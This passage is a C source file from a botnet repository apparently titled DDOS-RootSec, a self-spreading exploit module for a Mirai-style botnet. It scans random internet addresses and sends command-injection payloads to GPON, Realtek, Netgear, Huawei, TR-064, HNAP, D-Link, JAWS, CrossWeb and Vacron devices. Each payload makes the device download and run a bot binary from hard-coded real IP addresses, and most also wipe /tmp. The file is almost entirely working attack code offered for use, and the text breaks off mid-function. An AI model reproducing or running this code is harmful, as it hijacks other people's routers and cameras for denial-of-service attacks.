Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/MULTI SELFREP/exploit.c
5038 views
1
#ifdef WICKED_EXPLOIT
2
3
#define _GNU_SOURCE
4
5
#ifdef DEBUG
6
#include <stdio.h>
7
#endif
8
9
#include <stdlib.h>
10
#include <stdarg.h>
11
#include <stdio.h>
12
#include <sys/socket.h>
13
#include <sys/types.h>
14
#include <netinet/in.h>
15
#include <arpa/inet.h>
16
#include <netdb.h>
17
#include <signal.h>
18
#include <strings.h>
19
#include <string.h>
20
#include <sys/utsname.h>
21
#include <unistd.h>
22
#include <fcntl.h>
23
#include <errno.h>
24
#include <netinet/udp.h>
25
#include <netinet/tcp.h>
26
#include <sys/wait.h>
27
#include <sys/ioctl.h>
28
#include <net/if.h>
29
30
#include "includes.h"
31
#include "table.h"
32
#include "rand.h"
33
#include "util.h"
34
#include "checksum.h"
35
#include "resolv.h"
36
#include "exploit_scan.h"
37
38
int GPON1_Range [] = {187,189,200,201,207};
39
int GPON2_Range [] = {1,2,5,31,37,41,42,58,62,78,82,84,88,89,91,92,95,103,113,118,145,147,178,183,185,195,210,212};
40
//int NETIS_Range [] = {1,14,27,36,39,40,42,47,49,58,59,60,61,62,94,101,103,104,106,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,139,140,144,150,153,163,171,175,180,182,183,193,202,203,210,211,216,218,219,220,221,222,223};
41
42
int exploit_pid, scanner2_pid, scanner3_pid, scanner4_pid, scanner5_pid, scanner6_pid, scanner7_pid, scanner8_pid, scanner9_pid, scanner10_pid, scanner11_pid, scanner12_pid, scanner13_pid, timeout = 100000;
43
static uint8_t ipState[40] = {0};
44
int max = 0, i = 0;
45
46
int socket_connect_tcp(char *host, in_port_t port) // tcp socket for sending POST/GET requests
47
{
48
struct hostent *hp;
49
struct sockaddr_in addr;
50
int on = 1, sock;
51
struct timeval timeout;
52
timeout.tv_sec = 3; // 3 sec timeout on socket
53
timeout.tv_usec = 0;
54
if ((hp = gethostbyname(host)) == NULL) return 0;
55
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
56
addr.sin_port = htons(port);
57
addr.sin_family = AF_INET;
58
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
59
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
60
if (sock == -1) return 0;
61
if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
62
return sock;
63
}
64
65
int socket_connect_udp(char *host, in_port_t port) // udp socket for netis explotation
66
{
67
}
68
69
void exploit_socket_gpon8080(unsigned char *host)
70
{
71
scanner3_pid = fork();
72
73
if (scanner3_pid > 0 || scanner3_pid == -1)
74
return;
75
76
int gpon_socket1;
77
char gpon_request1[1024];
78
79
gpon_socket1 = socket_connect_tcp((char *)host, 8080);
80
81
sprintf(gpon_request1, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://51.15.226.140/jarrygod.mips+-O+->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0");
82
83
if (gpon_socket1 != 0)
84
{
85
write(gpon_socket1, gpon_request1, strlen(gpon_request1));
86
usleep(200000);
87
close(gpon_socket1);
88
#ifdef DEBUG
89
printf("[gpon_8080] exploitable %s\n", host);
90
#endif
91
}
92
exit(0);
93
}
94
95
void exploit_socket_gpon80(unsigned char *host)
96
{
97
scanner4_pid = fork();
98
99
if (scanner4_pid > 0 || scanner4_pid == -1)
100
return;
101
102
int gpon_socket2;
103
char gpon_request2[1024];
104
105
gpon_socket2 = socket_connect_tcp((char *)host, 80);
106
107
sprintf(gpon_request2, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://51.15.226.140/jarrygod.mips+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0");
108
109
if (gpon_socket2 != 0)
110
{
111
write(gpon_socket2, gpon_request2, strlen(gpon_request2));
112
usleep(200000);
113
close(gpon_socket2);
114
#ifdef DEBUG
115
printf("[gpon_80] exploitable %s\n", host);
116
#endif
117
}
118
exit(0);
119
}
120
121
void exploit_socket_realtek(unsigned char *host)
122
{
123
scanner5_pid = fork();
124
125
if (scanner5_pid > 0 || scanner5_pid == -1)
126
return;
127
128
int realtek_socket;
129
char realtek_request[1024], realtek_request2[1024];
130
131
realtek_socket = socket_connect_tcp((char *)host, 52869);
132
133
sprintf(realtek_request, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf*; wget http://209.141.42.3/jarrygod.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);
134
sprintf(realtek_request2, "POST /picsdesc.xml HTTP/1.1\r\nHost: %s:52869\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x jarrygod.mips;./jarrygod.mips realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n", host);
135
136
if (realtek_socket != 0)
137
{
138
write(realtek_socket, realtek_request, strlen(realtek_request));
139
sleep(5);
140
write(realtek_socket, realtek_request2, strlen(realtek_request2));
141
usleep(200000);
142
close(realtek_socket);
143
#ifdef DEBUG
144
printf("[realtek] exploitable %s\n", host);
145
#endif
146
}
147
exit(0);
148
}
149
150
void exploit_socket_netgear(unsigned char *host)
151
{
152
scanner6_pid = fork();
153
154
if (scanner6_pid > 0 || scanner6_pid == -1)
155
return;
156
157
int netgear_socket, netgear_socket2;
158
char netgear_request[1024];
159
160
netgear_socket = socket_connect_tcp((char *)host, 8080);
161
netgear_socket2 = socket_connect_tcp((char *)host, 80);
162
163
sprintf(netgear_request, "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://51.15.226.140/jarrygod.mips+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n");
164
165
if (netgear_socket != 0)
166
{
167
write(netgear_socket, netgear_request, strlen(netgear_request));
168
usleep(200000);
169
close(netgear_socket);
170
#ifdef DEBUG
171
printf("[netgear_8080] exploitable %s\n", host);
172
#endif
173
}
174
if (netgear_socket2 != 0)
175
{
176
write(netgear_socket2, netgear_request, strlen(netgear_request));
177
usleep(200000);
178
close(netgear_socket2);
179
#ifdef DEBUG
180
printf("[netgear_80] exploitable %s\n", host);
181
#endif
182
}
183
exit(0);
184
}
185
186
void exploit_socket_huawei(unsigned char *host)
187
{
188
scanner6_pid = fork();
189
190
if (scanner6_pid > 0 || scanner6_pid == -1)
191
return;
192
193
int huawei_socket;
194
char huawei_request[1024];
195
196
huawei_socket = socket_connect_tcp((char *)host, 37215);
197
198
sprintf(huawei_request, "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: %s:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 51.15.226.140 -l /tmp/huawei -r /jarrygod.mips;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>", host);
199
200
if (huawei_socket != 0)
201
{
202
write(huawei_socket, huawei_request, strlen(huawei_request));
203
usleep(200000);
204
close(huawei_socket);
205
#ifdef DEBUG
206
printf("[huawei] exploitable %s\n", host);
207
#endif
208
}
209
exit(0);
210
}
211
212
void exploit_socket_tr064(unsigned char *host)
213
{
214
scanner7_pid = fork();
215
216
if (scanner7_pid > 0 || scanner7_pid == -1)
217
return;
218
219
int tr064_socket, tr064_socket2;
220
char tr064_request[1024], tr064_request2[1024];
221
222
tr064_socket = socket_connect_tcp((char *)host, 7574);
223
tr064_socket2 = socket_connect_tcp((char *)host, 5555);
224
225
sprintf(tr064_request, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://51.15.226.140/tr064 && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);
226
sprintf(tr064_request2, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:5555\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://51.15.226.140/tr064 && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>", host);
227
228
if (tr064_socket != 0)
229
{
230
write(tr064_socket, tr064_request, strlen(tr064_request));
231
usleep(200000);
232
close(tr064_socket);
233
#ifdef DEBUG
234
printf("[tr064_7574] exploitable %s\n", host);
235
#endif
236
}
237
if (tr064_socket2 != 0)
238
{
239
write(tr064_socket2, tr064_request2, strlen(tr064_request2));
240
usleep(200000);
241
close(tr064_socket2);
242
#ifdef DEBUG
243
printf("[tr064_5555] exploitable %s\n", host);
244
#endif
245
}
246
exit(0);
247
}
248
249
void exploit_socket_hnap(unsigned char *host)
250
{
251
scanner8_pid = fork();
252
253
if (scanner8_pid > 0 || scanner8_pid == -1)
254
return;
255
256
int hnap_socket;
257
char hnap_request[1024];
258
259
hnap_socket = socket_connect_tcp((char *)host, 80);
260
261
sprintf(hnap_request, "POST /HNAP1/ HTTP/1.0\r\nHost: %s:80\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://51.15.226.140/jarrygod.mips && chmod 777 /tmp/jarrygod.mips/ && /tmp/jarrygod.mips`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n", host);
262
263
if (hnap_socket != 0)
264
{
265
write(hnap_socket, hnap_request, strlen(hnap_request));
266
usleep(200000);
267
close(hnap_socket);
268
#ifdef DEBUG
269
printf("[hnap] exploitable %s\n", host);
270
#endif
271
}
272
exit(0);
273
}
274
275
void exploit_socket_crossweb(unsigned char *host)
276
{
277
scanner9_pid = fork();
278
279
if (scanner9_pid > 0 || scanner9_pid == -1)
280
return;
281
282
int crossweb_socket;
283
char crossweb_request[1024];
284
285
crossweb_socket = socket_connect_tcp((char *)host, 81);
286
287
sprintf(crossweb_request, "GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://51.15.226.140/jarrygod.arm7;sh${IFS}/tmp/jarrygod.arm7&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n");
288
289
if (crossweb_socket != 0)
290
{
291
write(crossweb_socket, crossweb_request, strlen(crossweb_request));
292
usleep(200000);
293
close(crossweb_socket);
294
#ifdef DEBUG
295
printf("[crossweb] exploitable %s\n", host);
296
#endif
297
}
298
exit(0);
299
}
300
301
void exploit_socket_jaws(unsigned char *host)
302
{
303
scanner10_pid = fork();
304
305
if (scanner10_pid > 0 || scanner10_pid == -1)
306
return;
307
308
int jaws_socket;
309
char jaws_request[1024];
310
311
jaws_socket = socket_connect_tcp((char *)host, 80);
312
313
sprintf(jaws_request, "GET /shell?cd+/tmp;rm+-rf+*;wget+http://51.15.226.140/jarrygod.arm7;chmod+777+jarrygod.arm7;/tmp/jarrygod.arm7+jaws HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nHost: %s:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n", host);
314
315
if (jaws_socket != 0)
316
{
317
write(jaws_socket, jaws_request, strlen(jaws_request));
318
usleep(200000);
319
close(jaws_socket);
320
#ifdef DEBUG
321
printf("[jaws] exploitable %s\n", host);
322
#endif
323
}
324
exit(0);
325
}
326
327
void exploit_socket_dlink(unsigned char *host)
328
{
329
scanner11_pid = fork();
330
331
if (scanner11_pid > 0 || scanner11_pid == -1)
332
return;
333
334
int dlink_socket;
335
char dlink_request[1024];
336
337
dlink_socket = socket_connect_tcp((char *)host, 49152);
338
339
sprintf(dlink_request, "POST /soap.cgi?service=WANIPConn1 HTTP/1.1\r\nHost: %s:49152\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: r00ts3c-owned-you\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://51.15.226.140/jarrygod.mips;/tmp/jarrygod.mips dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>\r\n\r\n", host);
340
341
if (dlink_socket != 0)
342
{
343
write(dlink_socket, dlink_request, strlen(dlink_request));
344
usleep(200000);
345
close(dlink_socket);
346
#ifdef DEBUG
347
printf("[dlink] exploitable %s\n", host);
348
#endif
349
}
350
exit(0);
351
}
352
353
void exploit_socket_r7064(unsigned char *host)
354
{
355
scanner12_pid = fork();
356
357
if (scanner12_pid > 0 || scanner12_pid == -1)
358
return;
359
360
int r7064_socket;
361
char r7064_request[1024];
362
363
r7064_socket = socket_connect_tcp((char *)host, 8443);
364
365
sprintf(r7064_request, "GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://51.15.226.140/jarrygod.mips;${IFS}sh${IFS}/var/tmp/jarrygod.mips");
366
367
if (r7064_socket != 0)
368
{
369
write(r7064_socket, r7064_request, strlen(r7064_request));
370
usleep(200000);
371
close(r7064_socket);
372
#ifdef DEBUG
373
printf("[r7064] exploitable %s\n", host);
374
#endif
375
}
376
exit(0);
377
}
378
379
void exploit_socket_vacron(unsigned char *host)
380
{
381
scanner13_pid = fork();
382
383
if (scanner13_pid > 0 || scanner13_pid == -1)
384
return;
385
386
int vacron_socket;
387
char vacron_request[1024];
388
389
vacron_socket = socket_connect_tcp((char *)host, 8080);
390
391
sprintf(vacron_request, "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://51.15.226.140/jarrygod.arm7;chmod+777+jarrygod.arm7;/tmp/jarrygod.arm7+varcron");
392
393
if (vacron_socket != 0)
394
{
395
write(vacron_socket, vacron_request, strlen(vacron_request));
396
usleep(200000);
397
close(vacron_socket);
398
#ifdef DEBUG
399
printf("[vacron] exploitable %s\n", host);
400
#endif
401
}
402
exit(0);
403
}
404
405
void GPON8080_IPGen()
406
{
407
char gpon_ip1[16] = {0};char gpon_ip2[16] = {0};char gpon_ip3[16] = {0};
408
char gpon_ip4[16] = {0};char gpon_ip5[16] = {0};char gpon_ip6[16] = {0};
409
410
srand(time(NULL));
411
int gpon_range1 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range2 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range3 = rand() % (sizeof(GPON1_Range)/sizeof(char *));
412
int gpon_range4 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range5 = rand() % (sizeof(GPON1_Range)/sizeof(char *));int gpon_range6 = rand() % (sizeof(GPON1_Range)/sizeof(char *));
413
414
ipState[0] = GPON1_Range[gpon_range1];ipState[4] = GPON1_Range[gpon_range2];ipState[8] = GPON1_Range[gpon_range3];
415
ipState[12] = GPON1_Range[gpon_range4];ipState[16] = GPON1_Range[gpon_range5];ipState[20] = GPON1_Range[gpon_range6];
416
ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;
417
ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;
418
ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;
419
420
sprintf(gpon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);
421
sprintf(gpon_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);
422
sprintf(gpon_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);
423
424
exploit_socket_gpon8080(gpon_ip1);exploit_socket_gpon8080(gpon_ip2);exploit_socket_gpon8080(gpon_ip3);exploit_socket_gpon8080(gpon_ip4);exploit_socket_gpon8080(gpon_ip5);exploit_socket_gpon8080(gpon_ip6);
425
}
426
427
void GPON80_IPGen()
428
{
429
char gpon2_ip1[16] = {0};char gpon2_ip2[16] = {0};char gpon2_ip3[16] = {0};
430
char gpon2_ip4[16] = {0};char gpon2_ip5[16] = {0};char gpon2_ip6[16] = {0};
431
432
srand(time(NULL));
433
int gpon2_range1 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range2 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range3 = rand() % (sizeof(GPON2_Range)/sizeof(char *));
434
int gpon2_range4 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range5 = rand() % (sizeof(GPON2_Range)/sizeof(char *));int gpon2_range6 = rand() % (sizeof(GPON2_Range)/sizeof(char *));
435
436
ipState[0] = GPON2_Range[gpon2_range1];ipState[4] = GPON2_Range[gpon2_range2];ipState[8] = GPON2_Range[gpon2_range3];
437
ipState[12] = GPON2_Range[gpon2_range4];ipState[16] = GPON2_Range[gpon2_range5];ipState[20] = GPON2_Range[gpon2_range6];
438
ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;
439
ipState[9] = rand() % 255;ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[13] = rand() % 255;ipState[14] = rand() % 255;ipState[15] = rand() % 255;
440
ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;
441
442
sprintf(gpon2_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(gpon2_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);
443
sprintf(gpon2_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(gpon2_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);
444
sprintf(gpon2_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(gpon2_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);
445
446
exploit_socket_gpon80(gpon2_ip1);exploit_socket_gpon80(gpon2_ip2);exploit_socket_gpon80(gpon2_ip3);exploit_socket_gpon80(gpon2_ip4);exploit_socket_gpon80(gpon2_ip5);exploit_socket_gpon80(gpon2_ip6);
447
}
448
449
void REALTEK_IPGen()
450
{
451
char realtek_ip1[16] = {0};char realtek_ip2[16] = {0};char realtek_ip3[16] = {0};char realtek_ip4[16] = {0};char realtek_ip5[16] = {0};
452
char realtek_ip6[16] = {0};char realtek_ip7[16] = {0};char realtek_ip8[16] = {0};char realtek_ip9[16] = {0};char realtek_ip10[16] = {0};
453
454
srand(time(NULL));
455
ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;
456
ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;
457
ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;
458
ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;
459
ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;
460
ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;
461
ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;
462
ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;
463
464
sprintf(realtek_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(realtek_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);
465
sprintf(realtek_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(realtek_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);
466
sprintf(realtek_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(realtek_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);
467
sprintf(realtek_ip7, "%d.%d.%d.%d", ipState[24], ipState[25], ipState[26], ipState[27]);sprintf(realtek_ip8, "%d.%d.%d.%d", ipState[28], ipState[29], ipState[30], ipState[31]);
468
sprintf(realtek_ip9, "%d.%d.%d.%d", ipState[32], ipState[33], ipState[34], ipState[35]);sprintf(realtek_ip10, "%d.%d.%d.%d", ipState[36], ipState[37], ipState[38], ipState[39]);
469
470
exploit_socket_realtek(realtek_ip1);exploit_socket_realtek(realtek_ip2);exploit_socket_realtek(realtek_ip3);exploit_socket_realtek(realtek_ip4);exploit_socket_realtek(realtek_ip5);
471
exploit_socket_realtek(realtek_ip6);exploit_socket_realtek(realtek_ip7);exploit_socket_realtek(realtek_ip8);exploit_socket_realtek(realtek_ip9);exploit_socket_realtek(realtek_ip10);
472
}
473
474
void NETGEAR_IPGen()
475
{
476
char netgear_ip1[16] = {0};char netgear_ip2[16] = {0};char netgear_ip3[16] = {0};char netgear_ip4[16] = {0};char netgear_ip5[16] = {0};
477
char netgear_ip6[16] = {0};char netgear_ip7[16] = {0};char netgear_ip8[16] = {0};char netgear_ip9[16] = {0};char netgear_ip10[16] = {0};
478
479
srand(time(NULL));
480
ipState[0] = rand() % 233;ipState[1] = rand() % 255;ipState[2] = rand() % 255;ipState[3] = rand() % 255;ipState[4] = rand() % 233;
481
ipState[5] = rand() % 255;ipState[6] = rand() % 255;ipState[7] = rand() % 255;ipState[8] = rand() % 233;ipState[9] = rand() % 255;
482
ipState[10] = rand() % 255;ipState[11] = rand() % 255;ipState[12] = rand() % 233;ipState[13] = rand() % 255;ipState[14] = rand() % 255;
483
ipState[15] = rand() % 255;ipState[16] = rand() % 233;ipState[17] = rand() % 255;ipState[18] = rand() % 255;ipState[19] = rand() % 255;
484
ipState[20] = rand() % 233;ipState[21] = rand() % 255;ipState[22] = rand() % 255;ipState[23] = rand() % 255;ipState[24] = rand() % 233;
485
ipState[25] = rand() % 255;ipState[26] = rand() % 255;ipState[27] = rand() % 255;ipState[28] = rand() % 233;ipState[29] = rand() % 255;
486
ipState[30] = rand() % 255;ipState[31] = rand() % 255;ipState[32] = rand() % 233;ipState[33] = rand() % 255;ipState[34] = rand() % 255;
487
ipState[35] = rand() % 255;ipState[36] = rand() % 233;ipState[37] = rand() % 255;ipState[38] = rand() % 255;ipState[39] = rand() % 255;
488
489
sprintf(netgear_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);sprintf(netgear_ip2, "%d.%d.%d.%d", ipState[4], ipState[5], ipState[6], ipState[7]);
490
sprintf(netgear_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(netgear_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);
491
sprintf(netgear_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);sprintf(netgear_ip6, "%d.%d.%d.%d", ipState[20], ipState[21], ipState[22], ipState[23]);
492
